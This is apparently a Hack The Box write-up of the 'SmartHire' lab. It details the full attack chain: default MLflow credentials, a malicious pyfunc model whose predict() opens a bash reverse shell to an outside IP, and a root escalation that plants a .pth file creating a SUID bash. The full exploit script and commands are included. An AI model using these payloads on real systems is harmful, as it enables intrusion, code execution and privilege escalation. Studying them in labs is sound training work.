Skip to content

HTB SmartHire writeup

A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.

SmartHire was a web application for uploading candidate CSV files to train a machine learning model and make predictions. HTTP redirected to smarthire.htb, and virtual host enumeration found models.smarthire.htb. This vhost ran MLflow with Basic authentication, but admin:password worked.

The company and user_id of a user registered in the web application revealed the MLflow registered model name hana-95581724a925-model. The MLflow API allowed a new version to be created under that name, and /predict loaded the latest version. Registering a model whose mlflow.pyfunc.PythonModel predict() method launched a reverse shell yielded a shell as svcweb.

For privilege escalation, svcweb could run /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py * as root with sudo. The script added plugin directories to the import path through site.addsitedir(), while /opt/tools/mlflow_ctl/plugins/dev was writable by the devs group. Placing a .pth file there caused Python to execute arbitrary code as root when the script started.

ItemValue
BoxSmartHire
PlatformHack The Box
OSLinux
DifficultyMedium
HTTP :80
|
| nmap: nginx redirects to smarthire.htb
v
smarthire.htb
|
| ffuf Host header fuzzing
v
models.smarthire.htb -> MLflow Basic auth realm
|
| admin:password accepted
v
MLflow API access
|
| create malicious model version for hana-95581724a925-model
v
smarthire.htb /predict loads latest model
|
| EvilModel.predict() executes reverse shell
v
svcweb shell
|
| sudo -l: NOPASSWD python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
v
root runs mlflowctl.py
|
| site.addsitedir() processes writable plugins/dev/dev.pth
v
/tmp/rootbash with SUID root
|
v
root effective shell and root.txt

Map the target IP in /etc/hosts.

10.129.245.215 smarthire.htb models.smarthire.htb

The command used to produce smarthire.nmap was not recorded. Based on the output, treat it as a scan of all TCP ports with service and OS detection. An equivalent command would be:

Terminal window
nmap -p- -sV -O --traceroute -oN smarthire.nmap 10.129.245.215

Key output:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
Running: Linux 4.X|5.X
OS details: Linux 4.15 - 5.19

Key observations:

  • The only exposed entry points were 22/tcp and 80/tcp.
  • The HTTP title showed a redirect to http://smarthire.htb/, so inspect it through the expected Host header and vhosts.
  • The OS and service banners indicated Ubuntu. The later shell confirmed Ubuntu 22.04.5 LTS.
  • SSH was exposed, but without initial credentials, web enumeration took priority.

Fuzzing the Host header with ffuf found a models subdomain returning 401.

Terminal window
ffuf -u http://smarthire.htb \
-H "Host: FUZZ.smarthire.htb" \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-ac
models [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 198ms]

Direct access to models.smarthire.htb prompted for MLflow Basic authentication.

Terminal window
curl -I http://models.smarthire.htb
HTTP/1.1 401 UNAUTHORIZED
WWW-Authenticate: Basic realm="mlflow"
You are not authenticated. Please see https://www.mlflow.org/docs/latest/auth/index.html#authenticating-to-mlflow on how to authenticate.

This suggested a separate MLflow service likely related to the main application’s model training feature.

feroxbuster found /login, /register, /dashboard, and /logout. Without authentication, /dashboard redirected to /login.

Terminal window
feroxbuster -u http://smarthire.htb \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-d 1
200 GET 127l 406w 6160c http://smarthire.htb/login
200 GET 131l 434w 6499c http://smarthire.htb/register
200 GET 215l 875w 11255c http://smarthire.htb/
302 GET 5l 22w 199c http://smarthire.htb/logout => http://smarthire.htb/login
302 GET 5l 22w 199c http://smarthire.htb/dashboard => http://smarthire.htb/login

A saved copy of the dashboard HTML showed calls to these endpoints:

  • GET /model_info
  • POST /upload_hiring_data
  • POST /predict

The CSV guide in smarthire.dashboard.html listed name, skills, experience, education, position_applied, and previous_company for training data. smarthire.predict.html required experience and skills for prediction data.

After registering and logging in as hana through the web UI, /model_info returned the MLflow model name.

Terminal window
curl -i -b "session=<SESSION>" http://smarthire.htb/model_info
HTTP/1.1 200 OK
{"model_info":null,"model_name":"hana-95581724a925-model","status":"success"}

Uploading a minimal CSV created an MLflow model version.

Terminal window
cat > train.csv <<'EOF'
a,b,c,d
1,2,3,4
EOF
curl -i -b "session=<SESSION>" \
-F 'file=@train.csv;type=text/csv' \
http://smarthire.htb/upload_hiring_data
HTTP/1.1 200 OK
{"message":"Model trained and registered successfully","model_deleted":false,"model_info":{"creation_timestamp":1781969808832,"description":"No description","version":"1"},"registered_model":"hana-95581724a925-model","status":"success"}

A string in experience caused a numeric conversion error, indicating pandas- or scikit-learn-like processing behind the endpoint.

Terminal window
printf 'experience,skills\nAAAA,"Python"\n' > /tmp/bad.csv
curl -i -b "session=<SESSION>" \
-F 'file=@/tmp/bad.csv;type=text/csv' \
http://smarthire.htb/upload_hiring_data
HTTP/1.1 500 INTERNAL SERVER ERROR
{"message":"Could not convert string 'AAAA' to numeric","status":"error"}

The saved session cookie could be read with flask-unsign --decode.

Terminal window
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'
{'company': 'hana', 'user_id': '95581724a925', 'username': 'hana'}

The company and user_id values appeared in the registered model name hana-95581724a925-model. Brute forcing the secret key did not succeed, so the path here used the model name legitimately created by the application rather than modifying the cookie.

Testing a small number of Basic authentication candidates found that admin:password worked for MLflow.

Terminal window
for pair in \
'admin:password' \
'mlflow:mlflow' \
'hana:hana' \
'hana:95581724a925'
do
echo "$pair"
curl -s -o /dev/null -w '%{http_code}\n' \
-u "$pair" \
http://models.smarthire.htb/api/2.0/mlflow/experiments/search
done
admin:password
400
mlflow:mlflow
401
hana:hana
401
hana:95581724a925
401

A 401 meant authentication failed, while only admin:password returned 400. This indicated successful authentication with a request method or body that did not match the API. Subsequent MLflow API calls worked with these credentials.

Terminal window
ML='http://models.smarthire.htb'
AUTH='admin:password'
curl -s -u "$AUTH" \
-H 'Content-Type: application/json' \
-d '{"max_results":1000}' \
"$ML/api/2.0/mlflow/experiments/search" | jq .
{
"experiments": [
{
"experiment_id": "0",
"name": "Default",
"artifact_location": "mlflow-artifacts:/0",
"lifecycle_stage": "active"
}
]
}

Searching MLflow for the model name returned by the web application revealed its latest version and artifact source.

Terminal window
curl -s -u "$AUTH" \
"$ML/api/2.0/mlflow/registered-models/search?max_results=1000" | jq .
{
"registered_models": [
{
"name": "hana-95581724a925-model",
"latest_versions": [
{
"version": "3",
"source": "mlflow-artifacts:/0/3cef32ba4c474df78e6ec176a3a9a4e0/artifacts/model",
"run_id": "3cef32ba4c474df78e6ec176a3a9a4e0",
"status": "READY"
}
]
}
]
}

The artifact’s MLmodel showed that the target model used the python_function flavor, Python 3.10.12, MLflow 2.14.1, and cloudpickle 3.1.1.

Terminal window
curl -s -u "$AUTH" -G \
"$ML/model-versions/get-artifact" \
--data-urlencode "name=$MODEL" \
--data-urlencode "version=3" \
--data-urlencode "path=MLmodel"
flavors:
python_function:
cloudpickle_version: 3.1.1
loader_module: mlflow.pyfunc.model
python_model: python_model.pkl
python_version: 3.10.12
mlflow_version: 2.14.1
run_id: 3cef32ba4c474df78e6ec176a3a9a4e0

The important connection was that /predict loaded the latest version of a registered model, while the MLflow API allowed a new version under the same name. Creating version 4 with description:"probe" caused /model_info to return version 4.

Terminal window
curl -s -u "$AUTH" \
-H 'Content-Type: application/json' \
-d "{
\"name\":\"$MODEL\",
\"source\":\"mlflow-artifacts:/0/$RUN/artifacts/model\",
\"run_id\":\"$RUN\",
\"description\":\"probe\"
}" \
"$ML/api/2.0/mlflow/model-versions/create" | jq .
{
"model_version": {
"name": "hana-95581724a925-model",
"version": "4",
"description": "probe",
"status": "READY"
}
}
Terminal window
curl -i -b "session=<SESSION>" http://smarthire.htb/model_info
{"model_info":{"creation_timestamp":1781971532398,"description":"probe","version":"4"},"model_name":"hana-95581724a925-model","status":"success"}

The prerequisites at this point were:

  • A logged-in account in the web application and its model name.
  • MLflow API access with admin:password.
  • Confirmation that /predict loaded the latest model version.
  • Knowledge that the target model runtime used Python 3.10, MLflow 2.14.1, and cloudpickle 3.1.1.

Build a model whose mlflow.pyfunc.PythonModel predict() method launched a reverse shell, then register it as a new version of the same model.

evil_model.py
import os
import mlflow
import mlflow.pyfunc
from mlflow.tracking import MlflowClient
ML = "http://models.smarthire.htb"
MODEL = "hana-95581724a925-model"
class EvilModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input, params=None):
os.system("bash -c 'bash -i >& /dev/tcp/10.10.16.45/4444 0>&1'")
return [99]
mlflow.set_tracking_uri(ML)
mlflow.set_experiment("Default")
client = MlflowClient()
with mlflow.start_run() as run:
run_id = run.info.run_id
mlflow.pyfunc.log_model(
artifact_path="model",
python_model=EvilModel(),
)
source = f"mlflow-artifacts:/0/{run_id}/artifacts/model"
print("run_id:", run_id)
print("source:", source)
mv = client.create_model_version(
name=MODEL,
source=source,
run_id=run_id,
description="evil"
)
print("version:", mv.version)

Pass the MLflow Basic credentials through environment variables when running it.

Terminal window
export MLFLOW_TRACKING_USERNAME=admin
export MLFLOW_TRACKING_PASSWORD=password
python3 evil_model.py

At first, the target could not load a model created under Python 3.12, and /predict returned this error:

{"message":"code expected at most 16 arguments, got 18","status":"error"}

Because the artifact identified Python 3.10.12 on the target, rebuild locally with Python 3.10, MLflow 2.14.1, and cloudpickle 3.1.1.

Terminal window
pip install 'mlflow==2.14.1' 'cloudpickle==3.1.1' pandas
python -c 'import mlflow, cloudpickle; print(mlflow.__version__, cloudpickle.__version__)'
2.14.1 3.1.1

The rebuilt model was registered as version 6 and ran as a normal prediction.

run_id: fd4fa9dab6c54d49ae885597d2700a3b
source: mlflow-artifacts:/0/fd4fa9dab6c54d49ae885597d2700a3b/artifacts/model
version: 6

Start the listener, then send a prediction CSV to the web application’s /predict endpoint.

msf > use exploit/multi/handler
msf exploit(multi/handler) > run -j lhost=10.10.16.45 lport=4444
Terminal window
printf 'experience,skills\n60,"Python, ML"\n' > predict.csv
curl -i -b "session=<SESSION>" \
-F 'file=@predict.csv;type=text/csv' \
http://smarthire.htb/predict

Version 6 returned [99], confirming that predict() ran.

HTTP/1.1 200 OK
{"model_info":{"creation_timestamp":1781972540272,"description":"evil","version":"6"},"prediction":[99],"status":"success"}

After changing the reverse-shell IP, registering version 7, and calling /predict again, the web application returned 502 Bad Gateway but the shell connected. The 502 appeared to result from the gunicorn worker failing to finish the request normally while running the reverse shell.

The shell ran as svcweb, and /home/svcweb/user.txt was readable.

Terminal window
ls /home/
ls /home/svcweb
cat /home/svcweb/user.txt
svcweb
user.txt
[REDACTED]

The OS was Ubuntu 22.04.5 LTS.

Terminal window
cat /etc/os-release
PRETTY_NAME="Ubuntu 22.04.5 LTS"
VERSION_CODENAME=jammy

sudo -l showed that svcweb could run the MLflow management script as root without a password.

Terminal window
sudo -l
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

Checking local ports also showed services resembling the web application and MLflow listening on loopback.

Terminal window
ss -ant
LISTEN 0 4096 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:8000 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*

The target script was owned by root and could not be edited directly, but it added plugin directories as Python site directories.

Terminal window
sed -n '1,260p' /opt/tools/mlflow_ctl/mlflowctl.py
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))
def main():
import mlflow_actions, backup_models
if len(sys.argv) < 2:
print_usage()
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
print("[*] Running backup via backup_models plugin...")
backup_models.run()
elif action == "restart":
mlflow_actions.restart()

site.addsitedir() both adds a directory to the import path and processes .pth files in it. A .pth line beginning with import ... runs when Python starts, making this an escalation path when root invokes the script with sudo.

The plugin permissions showed that plugins/dev was owned by root:devs and group writable.

Terminal window
find /opt/tools/mlflow_ctl/plugins -maxdepth 4 -printf '%M %u %g %p\n'
drwxr-xr-x root root /opt/tools/mlflow_ctl/plugins
drwxr-xr-x root root /opt/tools/mlflow_ctl/plugins/core
-rw-r--r-- root root /opt/tools/mlflow_ctl/plugins/core/mlflow_actions.py
-rw-r--r-- root root /opt/tools/mlflow_ctl/plugins/core/backup_models.py
drwxrwxr-x root devs /opt/tools/mlflow_ctl/plugins/dev
Terminal window
find /opt/tools/mlflow_ctl -writable -ls
131178 4 drwxrwxr-x 2 root devs 4096 May 12 15:22 /opt/tools/mlflow_ctl/plugins/dev

A later id output showed that svcweb belonged to the devs group, so it could place a .pth file in this writable directory.

Place a one-line payload in the .pth file to create a root-owned SUID Bash binary, then run mlflowctl.py status with sudo to process the file.

Terminal window
printf '%s\n' "import os; os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')" > /opt/tools/mlflow_ctl/plugins/dev/dev.pth
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
[*] Checking MLflow service status...
[+] MLflow service status: active
[+] MLflow container status: 'Up About an hour'

/tmp/rootbash was created as a root-owned SUID binary.

Terminal window
ls -l /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Jun 20 16:41 /tmp/rootbash

bash -p preserves the effective UID, allowing a shell with effective root privileges.

Terminal window
/tmp/rootbash -p
id
cat /root/root.txt
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
[REDACTED]

Here, uid=1000(svcweb) was the real UID and euid=0(root) was the effective UID. Running the root-owned binary with its SUID bit set left the real user as svcweb, but permission checks used the effective root UID. Because Bash can drop privileges unless started with -p, /tmp/rootbash -p was required.

This method would fail if /tmp were mounted with nosuid. Check the mount options as follows.

Terminal window
findmnt -no TARGET,OPTIONS /tmp

The observed euid=0(root) from /tmp/rootbash -p confirmed that SUID was effective on /tmp at the time of this run.

  • flask-unsign --unsign did not find the secret key. Decoding the cookie alone revealed company and user_id, so modifying the cookie was unnecessary.
  • Sending a cookie as -b "<cookie>" without the session= name redirected to /login. With curl, use -b "session=<SESSION>".
  • Upload attempts using filename=../../x.csv or x.php.csv only increased the model version and did not lead to file writes or path traversal.
  • An MLflow model produced under Python 3.12 failed on the target’s Python 3.10 with code expected at most 16 arguments, got 18. Python, MLflow, and cloudpickle versions had to match the target’s MLmodel.
  • Meterpreter upgrade failed after misidentifying the target platform as bsd, but a regular shell was sufficient.
  • The backup-models action could create a backup as root, but the shortest path here did not need a backup symlink or tar options. The more direct issue was the combination of a writable plugin directory and .pth processing.

Observed changes and cleanup targets:

  • Versions added to the MLflow registered model hana-95581724a925-model:
    • version 4: description:"probe"
    • Versions 5, 6, and 7: description:"evil" or reverse-shell tests
  • local / uploaded tooling:
    • evil_model.py
    • train.csv
    • predict.csv
  • Temporary files on the target:
    • /opt/tools/mlflow_ctl/plugins/dev/dev.pth
    • /tmp/rootbash
    • MLflow temporary directories under /tmp/tmp*

svcweb could delete dev.pth.

Terminal window
rm /opt/tools/mlflow_ctl/plugins/dev/dev.pth

svcweb could not delete /tmp/rootbash because it was owned by root.

Terminal window
rm /tmp/rootbash
rm: cannot remove '/tmp/rootbash': Operation not permitted

To delete it, run the removal command from a shell with effective root privileges.

Terminal window
/tmp/rootbash -p -c 'rm -f /tmp/rootbash'

Resetting or stopping the HTB machine discards the generated temporary state.

Credentials:

PurposeValueEvidence
Web userhanaFlask session decode
Web companyhanaFlask session decode
Web user_id95581724a925Flask session decode
MLflow Basic authadmin:passwordReturned 400 instead of 401; subsequent API calls succeeded

Model / MLflow artifacts:

ItemValue
Registered modelhana-95581724a925-model
ExperimentDefault / experiment_id=0
Observed MLflow version2.14.1
Observed Python model runtimePython 3.10.12
Observed cloudpickle3.1.1

Flags:

FlagPathValue
user/home/svcweb/user.txt[REDACTED]
root/root/root.txt[REDACTED]

Important files on target:

PathMeaning
/var/www/smarthire.htbWeb app working directory
/opt/tools/mlflow_ctl/mlflowctl.pyPython script runnable as root with sudo
/opt/tools/mlflow_ctl/plugins/core/mlflow_actions.pystatus / restart plugin
/opt/tools/mlflow_ctl/plugins/core/backup_models.pyMLflow backup plugin
/opt/tools/mlflow_ctl/plugins/devroot:devs group writable plugin directory
/tmp/rootbashRoot SUID Bash binary created through .pth

Required knowledge:

  • Virtual host enumeration
  • Reading a Flask session cookie
  • MLflow tracking / model registry API
  • Code execution when loading Python pickle / mlflow.pyfunc models
  • Behavior of Python site.addsitedir() and .pth files
  • Linux sudo rules and SUID binaries

The key to this box was connecting the model name, MLflow registry, and prediction endpoint rather than stopping at the web application’s surface. Once /model_info revealed a model name that matched a version creatable through the MLflow API, and /predict was shown to use the latest version, the risk of loading an MLflow model provided initial access.

For privilege escalation, the sudo-enabled script did not need an obvious command injection flaw. Its Python import path and the side effects of site.addsitedir() also mattered. In particular, .pth files are easy to overlook: when Python running as root treats a writable directory as a site directory, it effectively allows arbitrary code execution.

Key points:

  • The difference between 401 and 400 can help determine whether authentication succeeded.
  • An MLflow artifact’s MLmodel provides evidence of the target runtime’s Python and dependency versions.
  • Python pickle and cloudpickle artifacts can break across minor versions, so match the target runtime.
  • For Python scripts runnable with sudo, inspect the import path, plugin directories, .pth files, and the effects of environment reset, not only command-line arguments.
  • Use /bin/bash -p to preserve euid=0 in a SUID shell.